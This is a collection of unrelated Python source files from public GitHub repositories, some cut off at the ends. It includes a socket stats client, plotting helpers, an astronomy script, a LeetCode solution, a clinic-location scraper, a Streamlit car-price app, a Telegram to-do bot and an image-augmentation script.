seq_b_aligned\n","repo_name":"eliasnijs/global-alignment","sub_path":"global_alignment.py","file_name":"global_alignment.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"73763127309","text":"import socket, time, pickle\n\n# Função que imprime a lista formatada\ndef imprime(l):\n print(f\"\"\"\n pid: {l['pid']}\n ip: {l['ip']}\n mem_total: {l['memoria_total']}\n mem_usado: {l['memoria_usada']}\n cpu: {l['cpu']}\n disco_total: {l['disco_total']}\n disco_usado: {l['disco_usado']}\n \n \"\"\")\n\n# Cria o socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n # Tenta se conectar ao servidor\n s.connect((socket.gethostname(), 9999))\n msg = ' '\n for i in range(10):\n # Envia mensagem vazia apenas para indicar a requisição\n s.send(msg.encode('ascii'))\n bytes = s.recv(1024)\n # Converte os bytes para lista\n dicionario = pickle.loads(bytes)\n imprime(dicionario)\n time.sleep(2)\n msg = 'fim'\n s.send(msg.encode('ascii'))\nexcept Exception as erro:\n print(str(erro))\n\n# Fecha o socket\ns.close()\n\ninput(\"Pressione qualquer tecla para sair...\")","repo_name":"joselsantospqt/Python","sub_path":"Projeto_de_Bloco_Python/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"2584013589","text":"# -*- coding: utf-8 -*-\n\"\"\"# Visualization\n\nThis module contains functions that produce plots and visualizations\nneeded for logging, data exploration and the final dashboards.\n\"\"\"\n\nimport itertools\nfrom typing import List, Optional, Tuple, Union\n\nimport einops\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom loguru import logger as log\nfrom matplotlib.colors import Colormap\nfrom torch.utils.data import Dataset\nfrom tqdm import tqdm\n\n\ndef plot_confusion_matrix(\n cm: Union[np.array, torch.tensor],\n classes: Optional[List[str]] = None,\n normalize: bool = False,\n title: str = \"Confusion Matrix\",\n cmap: Union[str, Colormap] = plt.cm.Blues,\n) -> plt.Figure:\n \"\"\"Create a matplotlib confusion matrix plot from a np.array or torch.tensor.\n\n Args:\n cm (np.array | torch.tensor): Raw Confusion Matrix as np.array or torch.tensor.\n classes (Optional[List[str]], optional): If defined replace class indices on axes with class labels. Defaults to None.\n normalize (bool, optional): If True, Normalize the count of each class to 1 to see percentages instead of absolute counts. Defaults to False.\n title (str, optional): Figure Title. Defaults to \"Confusion Matrix\".\n cmap ([str | plt.Colormap, optional): Matplotlib colormap. Defaults to plt.cm.Blues.\n\n Returns:\n plt.Figure: [description]\n \"\"\"\n if isinstance(cm, torch.Tensor):\n cm = cm.cpu().numpy()\n if normalize:\n cm = cm.astype(\"float\") / cm.sum(axis=1)[:, np.newaxis]\n\n fig = plt.figure()\n plt.imshow(cm, interpolation=\"nearest\", cmap=cmap)\n plt.title(title)\n plt.colorbar()\n\n if classes:\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = \".2f\" if normalize else \".0f\" # \"d\" for integers\n thresh = cm.max() / 2.0\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(\n j,\n i,\n format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\",\n )\n\n plt.tight_layout()\n plt.ylabel(\"True label\")\n plt.xlabel(\"Predicted label\")\n\n return fig\n\n\ndef visualize_samples_from_dataset(\n dataset: Dataset,\n rows: int = 5,\n undo_normalization: Optional[Tuple[List[float], List[float]]] = (\n [0.3211, 0.2243, 0.1602],\n [0.2617, 0.1825, 0.1308],\n ),\n) -> plt.Figure:\n \"\"\"Visualize a grid of samples without titles/labels in a single plot.\n\n Args:\n dataset (torch.utils.data.Dataset): Dataset to visualize samples from.\n rows (int, optional): How many samples will be in one row. Total number of samples will be rows^2. Defaults to 5.\n\n Returns:\n plt.Figure: matplotlib figure\n \"\"\"\n log.info(\"logging samples from dataset\")\n\n fig = plt.figure(figsize=(rows * 2, rows * 2))\n\n for idx in tqdm(range(rows * rows)):\n plt.subplot(rows, rows, idx + 1)\n img = dataset[np.random.randint(0, len(dataset))][0]\n\n if undo_normalization:\n means, stds = undo_normalization\n means = torch.tensor(means).reshape(3, 1, 1)\n stds = torch.tensor(stds).reshape(3, 1, 1)\n img = torch.clamp(img * stds + means, 0.0, 1.0)\n\n plt.imshow(einops.rearrange(img.squeeze().numpy(), \"c w h -> w h c\"))\n plt.axis(\"off\")\n plt.tight_layout(pad=0.0)\n\n return fig\n\n\ndef visualize_signal_propagation(\n name_values: list, title: str, *args, **kwargs\n) -> plt.Figure:\n \"\"\"Visualize Signal Propagation Plot using matplolib and\n the utilities from the timm package.\n See: https://github.com/mehdidc/signal_propagation_plot/blob/main/signal_propagation_plot/pytorch.py\n\n Args:\n name_values (torch.nn.Module): pytorch model\n input_shape (List[int], optional): Input Size of the model.\n\n Returns:\n plt.Figure: matplotlib figure\n \"\"\"\n labels = [\".\".join(name.split(\".\")[-3:]) for name, _ in name_values]\n values = [value for _, value in name_values]\n depth = np.arange(len(labels))\n\n fig, ax = plt.subplots(figsize=(12, 6))\n\n plt.plot(depth, values, *args, **kwargs)\n plt.xticks(depth, labels, rotation_mode=\"anchor\")\n plt.grid()\n plt.title(title)\n plt.setp(\n ax.get_xticklabels(),\n rotation=45,\n horizontalalignment=\"right\",\n fontsize=6,\n )\n\n return fig\n","repo_name":"LaurenzBeck/ophthalmology","sub_path":"ophthalmology/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"}
+{"seq_id":"32914914904","text":"import numpy as np\nimport pandas as pd\nfrom astropy.table import Table\nimport matplotlib.pyplot as plt\nimport logging\n\n# logging.basicConfig(filename='logs.log',\n# encoding='utf-8',\n# format='%(levelname)s (%(asctime)s): %(message)s (Line: %(lineno)d [%(filename)s])',\n# datefmt='%d/%m/%Y %I:%M:%S %p',\n# level=logging.INFO)\n#\n# df = pd.read_csv(\"clusterMembers/M79_memberStars_6.dat\", delimiter=\"\\t\", skiprows=2)\n#\n# df1 = pd.read_csv(\"nonMembers/M79_nonMembers.dat\", delimiter=\"\\t\", skiprows=2)\n#\n# starNums= df.iloc[:,0]\n#\n# starNums1 = df1.iloc[:,0]\n#\n# #print(starNums[0])\n#\n# lst = np.array([3524,3473,3491,3487,3353,2600,2363,1995, 816])\n#\n# # print(lst)\n#\n# starNums = np.array([starNums])\n#\n# starNums1 = np.array([starNums1])\n#\n# # print(starNums)\n#\n# a = np.intersect1d(starNums, lst)\n#\n# c = np.setdiff1d(lst, starNums)\n#\n# # print(a)\n# # print(c)\n#\n# b = np.intersect1d(starNums1, lst)\n#\n# # print(b)\n#\n# clusterName = \"M14\"\n# clusterNameFile = (\"{}.phot\".format(clusterName))\n#\n# dat = Table.read(clusterNameFile, format=\"ascii\")\n#\n# u = dat['col10']\n# b = dat['col4']\n# v = dat['col8']\n# i = dat['col6']\n# chi = dat['col12']\n# sharp = dat['col13']\n#\n# ind = np.where(dat['col1'] == 320)[0]\n# cond = np.logical_or.reduce((b>60,v>60, chi>3, abs(sharp)>0.5))\n# #cond = np.logical_and.reduce((b<60,v<60))\n# ind = np.where(cond)[0]\n#\n# # print(dat[ind])\n#\n# dat1 = dat[ind]\n#\n# #[5212 6215 6395 6458 6908]\n#\n# moo = np.where(dat1['col1'] == 6908)[0]\n# print(moo)\n\n# df2 = Table.read(\"nonMembers/M14_nonMembers_testing123.dat\", format=\"ascii\", delimiter=\"\\s\")\ndf3 = Table.read(\"clusterMembers/M9_memberStars_5Sigma.dat\", format=\"ascii\", delimiter=\"\\s\")\n\n\n\nvRaw = df3['col14']\nB = df3['col13']\nbvRaw = B-vRaw\nuRaw = df3['col12']\nv = df3['col11']\nb = df3['col10']\nu = df3['col9']\n# i = df2['col11']\nbv = b-v\n# vi = v-i\n\narr = [1226, 1459]\nprint(df3[arr])\n\n\n# print(df2)\n\n# if (vi[1543] > 0.331+1.444*bv[1543]):\n# print(0)\n# logging.error('Run unsuccessful')\n# else:\n# print(1)\n# logging.info('Run successful')\n\nlst1 = [10001,9243,8956,8812,8119,7645,7386,7075,6897,6908,6682,6458,6395,6215,5262,5212,5096,4987,4562,3006,1320]\n\n# print(df2['col1'])\n\n# for j in range(len(lst1)):\n# print(lst1[j])\n# print(np.where(df2['col1'] == lst1[j])[0])\n# print(np.where(df3['col1'] == lst1[j])[0])\n# print(\"================================\")\n\n# print(np.intersect1d(lst1, df2['col1']))\n\n#\n# vRaw1 = df3['col14']\n# B1 = df3['col13']\n# bvRaw1 = B1-vRaw1\n#\n# v1 = df3['col11']\n# b1 = df3['col10']\n# bv1 = b1-v1\n\ndef model_f(x,a,b,c,d,e,f,g,k):\n x=x+k\n return a*x**6+b*x**5+c*x**4+d*x**3+e*x**2+f*x+g\n\n\n# arr = [301, 323, 363]\narr = [1226, 1459]\n\nfig, ax = plt.subplots()\nax.scatter(bvRaw, vRaw, c='k', s=0.1)\n# ax.scatter(bvhb,vhb,c='b',s=2)\nax.scatter(bvRaw[arr], vRaw[arr], c='orangered', s=5, marker=\"o\")\n# xplot = np.linspace(bv1.min(), bv1.max(), len(bv1))\n# -3.74, 7.03, 6.83, -19.86, 8.98, -1.51, 0.35, -0.15\n# y = model_f(xplot, -3.74, 7.03, 6.83, -19.86, 8.98, -1.51, 0.35,-0.15)\n# ax.plot(bv1, y, color=\"red\", linestyle=\"--\")\n# ax.set_title(\"{} $E(B-V)$={:.2f} $m-M$={:.2f}\".format(clusterName, ebv, distModulus))\nax.set_xlim(-0.75, 1.6)\nax.set_ylim(22,12)\nax.set_xlabel('$B-V$')\nax.set_ylabel('$V$')\nplt.show()\n\n","repo_name":"akshat-chaturvedi/clusterFunc","sub_path":"commonChecker.py","file_name":"commonChecker.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"16147875907","text":"#\n# @lc app=leetcode id=355 lang=python3\n#\n# [355] Design Twitter\n#\nimport collections\nimport heapq\n# @lc code=start\nclass Twitter:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.user_and_posts = collections.defaultdict(list)\n self.user_and_followers = collections.defaultdict(set)\n self.no = 0\n self.recent = 10\n\n def postTweet(self, userId, tweetId):\n \"\"\"\n Compose a new tweet.\n \"\"\"\n self.user_and_posts[userId].append([-self.no, tweetId])\n self.no += 1\n \n def getNewsFeed(self, userId: int):\n \"\"\"\n Retrieve the 10 most recent tweet ids in the user's news feed. Each item in the news feed must be posted by users who the user followed or by the user herself. Tweets must be ordered from most recent to least recent.\n \"\"\"\n heap = []\n for following in self.user_and_followers[userId]:\n for i in range(len(self.user_and_posts[following]) - 1, max(-1, len(self.user_and_posts[following]) - self.recent - 1), -1):\n heapq.heappush(heap, self.user_and_posts[following][i])\n for i in range(len(self.user_and_posts[userId]) - 1, max(-1, len(self.user_and_posts[userId]) - self.recent - 1), -1):\n heapq.heappush(heap, self.user_and_posts[userId][i])\n ans = []\n c = 0\n while heap and c < self.recent:\n ans.append(heapq.heappop(heap)[1])\n c += 1\n return ans\n\n def follow(self, followerId: int, followeeId: int):\n \"\"\"\n Follower follows a followee. If the operation is invalid, it should be a no-op.\n \"\"\"\n if followerId != followeeId:\n self.user_and_followers[followerId].add(followeeId)\n \n def unfollow(self, followerId: int, followeeId: int):\n \"\"\"\n Follower unfollows a followee. If the operation is invalid, it should be a no-op.\n \"\"\"\n if self.user_and_followers[followerId] and followeeId in self.user_and_followers[followerId]:\n self.user_and_followers[followerId].remove(followeeId)\n\n\n# Your Twitter object will be instantiated and called as such:\n# obj = Twitter()\n# obj.postTweet(1,5)\n# param_2 = obj.getNewsFeed(1)\n# obj.follow(1,2)\n# obj.postTweet(2,6)\n# param_2 = obj.getNewsFeed(1)\n# print(param_2)\n# obj.unfollow(followerId,followeeId)\n# @lc code=end\n\n","repo_name":"610yilingliu/leetcode","sub_path":"Python3/355.design-twitter.py","file_name":"355.design-twitter.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"4824931448","text":"import json\nimport re\nfrom typing import NoReturn\n\nfrom bs4 import BeautifulSoup\n\nfrom back.services.core.parsers.response_handler import send_request\nfrom back.services.core.parsers.database_handler import TestPlacePusher\nfrom back.services.core.settings import DB_HOST, DB_LOGIN, DB_DATABASE, DB_PASSWORD\n\nPRICE_PCR = '1980'\nANTIBODIES_TEST_PRICE = '850'\nTIME_TILL_RES_DAYS = '3 дня'\n\ndef get_cites() -> dict:\n response = send_request(url=f'https://citilab.ru/local/components/reaspekt/reaspekt.geoip/'\n f'templates/my01/ajax_popup_city.php', payload={}, return_json=False)\n city_names = re.findall(r'(?<=title=\\\").*?(?=\\\")', response.text)\n city_codes = re.findall(r'(?<=data-code=\").*?(?=\\\")', response.text)\n cites = dict(zip(city_codes, city_names))\n return cites\n\n\ndef parse_citilab() -> NoReturn:\n db_pusher = TestPlacePusher(DB_HOST, DB_LOGIN, DB_PASSWORD, DB_DATABASE)\n db_pusher.get_or_add_med_org('Citilab')\n cites = get_cites()\n for code, city in cites.items():\n db_pusher.get_or_add_city(city)\n\n response = send_request(url=f'https://citilab.ru/{code}/medcentres/', payload={}, return_json=False)\n soup = BeautifulSoup(response.text, 'html.parser')\n\n try:\n data = soup.find_all('script')[42].string\n except IndexError:\n data = soup.find_all('script')[40].string\n\n json_data_raw = re.findall('(?<=var jsonData = ).*$', data)[0][:-1].replace('\\'', '\"')\n json_data = json.loads(json_data_raw)\n\n for place in json_data.get('mark'):\n if place['covid'] != '1':\n continue\n address = place['adr']\n coord = {'lat': place['lat'], 'lon': place['lng']}\n url = f'https://citilab.ru{place[\"url\"]}'\n db_pusher.add_test_place(city=city, med_org='Citilab', address=address, position=coord, url=url,\n pcr_test_price=PRICE_PCR,\n antibodies_test_price=ANTIBODIES_TEST_PRICE,\n time_of_completion=TIME_TILL_RES_DAYS)\n print(f\"Город : {city}\\n\"\n f\"Корона : {place['covid']}\\n\"\n f\"Адрес: {place['adr']}\\n\"\n f\"Координаты: {place['lat']} : {place['lng']}\\n\"\n f\"Цена: {PRICE_PCR}\\n\"\n f\"Срок готовности результатов: {TIME_TILL_RES_DAYS}\")\n print('--------')\n\n\nif __name__ == '__main__':\n parse_citilab()\n","repo_name":"techglove/sberhack","sub_path":"back/services/core/parsers/citilab.py","file_name":"citilab.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"5296135971","text":"\"\"\"Streamlit App\n\nThis script allows the user to make predictions on sales prices for cars on CarsAndBids.\n\n\"\"\"\nfrom datetime import date\nimport pickle\nimport requests as rq\nimport plotly.express as px\nimport streamlit as st\nimport pandas as pd\nimport yfinance as yf\nfrom sqlalchemy import create_engine, text\nimport os\nimport boto3\nfrom streamlit_option_menu import option_menu\nimport altair as alt\nimport time\n\nsession = boto3.Session(\n aws_access_key_id = os.environ[\"ACCESS_KEY\"],\n aws_secret_access_key=os.environ[\"ACCESS_SECRET\"],\n region_name = os.environ[\"REGION\"])\n\n\n\n@st.cache_data(ttl=259200, max_entries=None)\ndef get_vin_info(vin, api_key = 'VA_DEMO_KEY', num_days = 90, mileage = 'average'):\n \"\"\"pulls data from vinaudit api \"\"\"\n vinaudit_url = f'https://marketvalue.vinaudit.com/getmarketvalue.php?key={api_key}&vin={vin}&format=json&period={num_days}&mileage={mileage}'\n req = rq.get(url = vinaudit_url)\n data = req.json()\n return data\n\n\n@st.cache_data(ttl=259200, max_entries=None)\ndef fetch_market_data():\n sp500 = yf.download(\"^GSPC\", start= '2023-2-1', end=str(date.today())) \n sp500 = pd.DataFrame(sp500)\n sp500 = sp500[\"Adj Close\"].iloc[0]\n return sp500\n\n# name = 'thismod'\ns3 = session.resource('s3')\nmodel_list = []\nfor i in s3.Bucket('carsalesmodel').objects.all():\n model_list.append(i.key)\n \nDATA_URI = os.environ[\"DATA_URI\"]\nengine = create_engine(DATA_URI)\n\nSERVER_URI = os.environ[\"SERVER_URI\"]\n\nMODEL_SQL_QUERY = 'SELECT DISTINCT \"model\" FROM \"cars_bids_listings\";'\nMAKE_SQL_QUERY = 'SELECT DISTINCT \"make\" FROM \"cars_bids_listings\";'\nENGINE_SQL_QUERY = 'SELECT DISTINCT \"engine\" FROM \"cars_bids_listings\";'\nTITLE_STATUS_SQL_QUERY = 'SELECT DISTINCT \"status\" FROM \"cars_bids_listings\";'\nDRIVE_TRAIN_SQL_QUERY = 'SELECT DISTINCT \"drivetrain\" FROM \"cars_bids_listings\";'\nTRANSMISSION_SQL_QUERY = 'SELECT DISTINCT \"transmission\" FROM \"cars_bids_listings\";'\nBODYSTYLE_SQL_QUERY = 'SELECT DISTINCT \"bodystyle\" FROM \"cars_bids_listings\";'\nSOLDTYPE_SQL_QUERY = 'SELECT DISTINCT \"soldtype\" FROM \"cars_bids_listings\";'\nYNRESERVE_SQL_QUERY = 'SELECT DISTINCT \"y_n_reserve\" FROM \"cars_bids_listings\";'\nVIN_SQL_QUERY = 'SELECT \"vin\" FROM \"cars_bids_listings\" LIMIT 1;'\n\nwith engine.connect() as connection:\n make_df = pd.read_sql_query(text(MAKE_SQL_QUERY), con = connection)\n model_df = pd.read_sql_query(text(MODEL_SQL_QUERY), con = connection)\n engine_df = pd.read_sql_query(text(ENGINE_SQL_QUERY), con = connection)\n title_status_df = pd.read_sql_query(TITLE_STATUS_SQL_QUERY, con = connection)\n drive_train_df = pd.read_sql_query(DRIVE_TRAIN_SQL_QUERY, con = connection)\n transmission_df = pd.read_sql_query(TRANSMISSION_SQL_QUERY, con = connection)\n bodyStyle_df = pd.read_sql_query(BODYSTYLE_SQL_QUERY, con=connection)\n soldType_df = pd.read_sql_query(SOLDTYPE_SQL_QUERY, con = connection)\n reserve_df = pd.read_sql_query(YNRESERVE_SQL_QUERY, con = connection)\n\nmake_df.sort_values(by='make', inplace=True)\nmodel_df.sort_values(by='model', inplace=True)\nengine_df.sort_values(by='engine', inplace=True)\ntitle_status_df.sort_values(by='status', inplace=True)\ndrive_train_df.sort_values(by='drivetrain', inplace=True)\ntransmission_df.sort_values(by='transmission', inplace=True)\nbodyStyle_df.sort_values(by='bodystyle', inplace=True)\nsoldType_df.sort_values(by='soldtype', inplace=True)\nreserve_df.sort_values(by='y_n_reserve', inplace=True)\n\nst.set_page_config(layout=\"wide\", page_title=\"Car Sale Value\")\nheadercol1, headercol2 = st.columns(2)\nwith st.container():\n with headercol1:\n st.markdown(\"How Much is Your Collector Car Worth?
\", unsafe_allow_html=True)\n st.subheader('Use our API and predict a sale price for your vehicle!')\n with headercol2:\n st.image('https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTe1SBdlXWtJ96-zcUnN05YMaumzpJ-q2ei-A&usqp=CAU', width=500)\nselected_navbar = option_menu(None, [\"Predict\", \"FAQ\", \"API\"], orientation=\"horizontal\")\n\n \ndataset = st.container()\nmodel = st.container()\nyears = range(1980, 2023)\nchart = st.container()\n\n \nif selected_navbar == \"FAQ\":\n with st.container():\n with st.expander(\"What is Cars and Bids?\"):\n st.write('Cars and Bids is an online enthusiast car sales platform created by the automotive Youtuber Doug DeMuro. Most listings on the platform are sold in auction format.')\n with st.expander(\"What model is being used to predict sale price?\"):\n st.write('We are using a Gradient Boosted Regression Tree to predict sale price')\n with st.expander(\"How was the data collected?\"):\n st.write('All of the past listings from CarsAndBids.com were collected using webscraping via selenium. We collected estimated market price for each vehicle from VinAudit.com as well as overall market conditions at the time of sale via Yahoo Finance')\n with st.expander(\"How accurate are the predictions?\"):\n st.write('On our best model, we obtain an accuracy of about 75% (MSE .75)')\n with st.expander(\"Can I use this site commercially?\"):\n st.write('This site is not intended to be used commercially and should not be used commercially')\n with st.expander(\"Is the car price prediction sound financial advice?\"):\n st.write('No. This is a purely academic exercise; use the model output at your own discretion')\n\nif selected_navbar == \"Predict\":\n with st.container():\n st.text('CarsAndBids.com is a new auction website for collector cars from the 80s until now. With a rich history of auctions, we wanted to learn if we could predict\\nwhich cars would be good deals on the site by using features of the vehicle like Make, Model, Year, Engine (etc.) as well as car market data on the vehicle\\nand general market data, we fit a gradient boosted decision tree to predict the selling price of the car. To determine whether its a good deal, we compare the\\npredicted sale price against the market average for similar vehicles. Car market data comes from the VinAudit API\\n')\n form = st.form(key='uinput')\n with form:\n form_columns = st.columns(4)\n text_arr = [['Make', 'Model', 'Year'], ['Engine', 'Title', 'Drive'], ['Body Style', 'Reserve', 'Transmission'], ['Vin', 'Mileage']]\n options_arr = [[make_df, model_df, years], [engine_df, title_status_df, drive_train_df], [bodyStyle_df, reserve_df, transmission_df]]\n first_make = make_df.iloc[0][\"make\"]\n columns = []\n for i, col in enumerate(form_columns):\n if i < 3:\n for j in range(len(text_arr[i])):\n newcol = col.selectbox(text_arr[i][j], options_arr[i][j], key=(i*3)+j, index=0)\n columns.append(newcol)\n else:\n for j in range(len(text_arr[i])):\n newcol = col.text_input(text_arr[i][j], key=(i*3)+j)\n columns.append(newcol)\n newcol = col.selectbox('ML Model', model_list, key=(i*3)+j+1, index=0)\n columns.append(newcol)\n\n \n sp500 = fetch_market_data()\n \n m = st.markdown(\"\"\"\n \"\"\", unsafe_allow_html=True)\n \n \n \n button = st.form_submit_button(label=\"Submit\", use_container_width=True)\n \n if button:\n try:\n req = get_vin_info(columns[9])\n with st.spinner('Running Prediction...'):\n time.sleep(5)\n newres= rq.post(SERVER_URI, json={\"rows\": [{ \"make\": columns[0],\n \"model\": columns[1],\n \"mileage\": columns[10],\n \"status\": columns[4], \n \"engine\":columns[3],\n \"drivetrain\": columns[5],\n \"transmission\" :columns[8],\n \"bodystyle\": columns[6],\n \"y_n_reserve\":columns[7],\n \"year\":columns[2],\n 'market_value_mean': req[\"mean\"], \n 'market_value_std':req['stdev'], \n 'count_over_days':str(float(req['count']) / 90), \n 'Adj Close':sp500,\n 'tree_model': columns[11]}]}) \n response = newres.json()\n newres = response[0][0]\n shaps = pd.DataFrame(pd.Series(response[1]))\n shaps = pd.melt(shaps.reset_index(), id_vars=[\"index\"])\n st.subheader('Dollar Contribution of Each Feature to the Predicted Sale Price')\n chart = (\n alt.Chart(shaps)\n .mark_bar()\n .encode(\n x=alt.X(\"value\", type=\"quantitative\", title=\"Dollars\"),\n y=alt.Y(\"index\", type=\"nominal\", title=\"Features\"),\n color=alt.Color(\"variable\", type=\"nominal\", title=\"\", legend=None),\n order=alt.Order(\"variable\", sort=\"descending\")))\n st.altair_chart(chart, use_container_width=True)\n st.markdown(f\"# Predicted Price on CarsAndBids.com: **${round(newres)}**\")\n except:\n st.write('Unable to gather information from VIN. Please try a different vehicle')\n\napi_column1, api_column2, api_column3 = st.columns(3) \nif selected_navbar == \"API\":\n st.subheader(\"Our API is free to use and available via a POST request to http://collectorcarpricing.com:8080/predict\")\n st.write('The post request must include the following parameters:')\n api_data = { \"Name\": ['make', 'model', 'mileage', 'status', 'engine', 'bodystyle', 'y_n_reserve','year', 'drivetrain', 'transmission', 'vin'],\n \"Required\": ['yes', 'yes', 'yes', 'yes', 'yes', 'yes', 'yes','yes', 'yes', 'yes', 'yes'],\n \"Data Type\": ['string', 'string', 'float', 'string', 'string', 'string', 'string','int', 'string', 'string', 'string'],\n \"Accepted Values\": [\"Any brand of auto manufacturer. If the brand doesnt exist in the training data make will not contribute to the prediction\",\n \"Any model from an auto manufacturer. If the model doesnt exist in the training data it will use the average price for the chosen make\",\n \"Any positive number (without commas)\",\n \"Clean, Salvage, Other\",\n \"One of the following: (P9, P8, V1, I6, Electric, I2, H6, I3, I5, Flat-2, I4, Flat-4, R6, H4, V6, W8, V2, Flat-6, V8). If not in this list the model will use the average price for the chosen make\",\n \"One of the following: (SUV/Crossover, Hatchback, Convertible, Van/Minivan, Sedan, Wagon, Truck, Coupe)\",\n \"One of the following: (Reserve, No Reserve)\",\n \"Any year from 1980 - present\",\n \"One of the following: (Rear-wheel drive, 4WD/AWD, Front-wheel drive)\",\n \"One of the following: (Manual, Automatic)\",\n \"Any valid VIN number\"]}\n st.table(pd.DataFrame(api_data))\n st.subheader('Ex:')\n st.text('''curl -d '{\"rows\": [{\"make\": \"Porsche\",\"model\": \"Cayenne\",\"mileage\": \"167500.0\",\"status\": \"Clean\" , \"engine\":\"3.6L V6\",\"drivetrain\": \"4WD/AWD\",\"transmission\" :\"Manual (6-Speed)\",\"bodystyle\":\" SUV/Crossover\", \"y_n_reserve\":\" No Reserve\",\"year\":\"2012.0\", \"vin\": \"5YJSA1DP4CFF00027\"}]}' -X POST http://collectorcarpricing.com:8080/predict''')\n \n\nst.write(\"Developed by Adam Lang and David Kim [Github Repo]('https://github.com/CodeSmithDSMLProjects/CarSalesModel')\")\nst.write(\"Contact us at adamglang96@gmail.com and koyykdy@gmail.com\")\n","repo_name":"CodeSmithDSMLProjects/CarSalesModel","sub_path":"public/stream_lit.py","file_name":"stream_lit.py","file_ext":"py","file_size_in_byte":12710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"3251391737","text":"import telegram\n\nfrom dbdriver import DBDriver\n\ndatabase = DBDriver()\ndatabase.setup()\n\nclass ToDoBot:\n\n class UserData:\n def __init__(self, text, chat_id, items):\n self.text = text\n self.chat_id = chat_id\n self.items = items\n\n def __init__(self, todo_queue):\n \"\"\" The data in queue contains tuples with the text of the message received from\n the user and user's chat id in (text, chat_id) format \"\"\"\n self.queue = todo_queue\n self.calls = {\n '/list': self.call_list,\n '/done': self.call_delete_keyboard,\n '/start': self.call_start,\n '/clear': self.call_clear\n }\n\n def run(self):\n while not self.queue.empty():\n text, chat_id = self.queue.get()\n items = database.get_items(chat_id)\n userdata = self.UserData(text, chat_id, items)\n\n if userdata.text in self.calls:\n self.calls[userdata.text](userdata)\n\n elif userdata.text.startswith('/'):\n continue\n\n elif userdata.text in userdata.items:\n self.delete_item(userdata)\n\n else:\n database.add_item(userdata)\n\n\n def call_start(self, userdata):\n telegram.send_message(\"Welcome to your personal To Do list. Send any text to me and I'll store it as an\"\n \" item. Send /done to remove items\", userdata.chat_id)\n\n def call_list(self, userdata):\n if userdata.items:\n text_of_items = '\\n'.join(userdata.items)\n telegram.send_message(text_of_items, userdata.chat_id)\n else:\n telegram.send_message('The list is empty, type anything you want to add', userdata.chat_id)\n\n def call_clear(self, userdata):\n if userdata.items:\n database.clear_items(userdata)\n telegram.send_message('The list has been cleared', userdata.chat_id)\n else:\n telegram.send_message('The list is empty', userdata.chat_id)\n\n def call_delete_keyboard(self, userdata):\n if userdata.items:\n keyboard = telegram.build_keyboard(userdata.items)\n telegram.send_message('Select an item to delete', userdata.chat_id, keyboard)\n else:\n telegram.send_message('The list is empty', userdata.chat_id)\n\n def delete_item(self, userdata):\n database.delete_item(userdata)\n userdata.items.remove(userdata.text)\n self.call_delete_keyboard(userdata)\n\n","repo_name":"tonybruhh/ToDoBot","sub_path":"todobot.py","file_name":"todobot.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"6183160869","text":"import cv2\r\nimport glob\r\nimport numpy as np\r\nimport pickle\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Activation, Dense, Conv2D , Flatten, MaxPool2D, BatchNormalization, Dropout, GlobalMaxPool2D\r\nfrom tensorflow.keras.optimizers import Adam, RMSprop\r\nfrom sklearn.metrics import precision_recall_fscore_support, accuracy_score\r\nfrom sklearn.utils import shuffle\r\n\r\n\r\n#Data Augmentation\r\nfromPath = '../test/'\r\naugPath = '../aug_test/'\r\nclassName = {0:'Aavad',1:'Chikoo',2:'Jamun',3:'Raat_Rani',4:'Umbaro'}\r\n\r\n\r\ndatagen = ImageDataGenerator(\r\n rotation_range=40,\r\n width_shift_range=0.2,\r\n height_shift_range=0.2,\r\n rescale=1./255,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True,\r\n fill_mode='nearest'\r\n)\r\n\r\nfor key,values in className.items() :\r\n for image in glob.glob(fromPath + values + '/*.jpg'):\r\n img = cv2.imread(image)\r\n # cv2.imshow('image',g)\r\n da_img = img.reshape(1,img.shape[0], img.shape[1], 3)\r\n print('new img shape: ',da_img.shape)\r\n i=0\r\n for batch in datagen.flow(da_img,save_to_dir=augPath + values,save_format='jpg'):\r\n i += 1\r\n if i>20:\r\n break\r\n\r\n#Saving Image Matrix into pickles\r\nli = []\r\nlabels =[]\r\nfor key,values in className.items() :\r\n for img in glob.glob(augPath + values + '/*.jpg'):\r\n g = cv2.imread(img)\r\n print(g.shape)\r\n # cv2.imshow('image',g)\r\n g = cv2.resize(g,(224,224))\r\n g = g.reshape(g.shape[0], g.shape[1], 3)\r\n print('g: ',g.shape)\r\n li.append(g)\r\n labels.append(key)\r\n\r\n\r\nfeatures = 'test'+\".pkl\"\r\nclass_labels = 'TestClassLabels'+\".pkl\"\r\n\r\nli = np.array(li)\r\nlabels = np.array(labels)\r\n\r\nfo = open(features, \"wb\")\r\npickle.dump(li, fo)\r\nfo.close()\r\n\r\nfo = open(class_labels, \"wb\")\r\npickle.dump(labels, 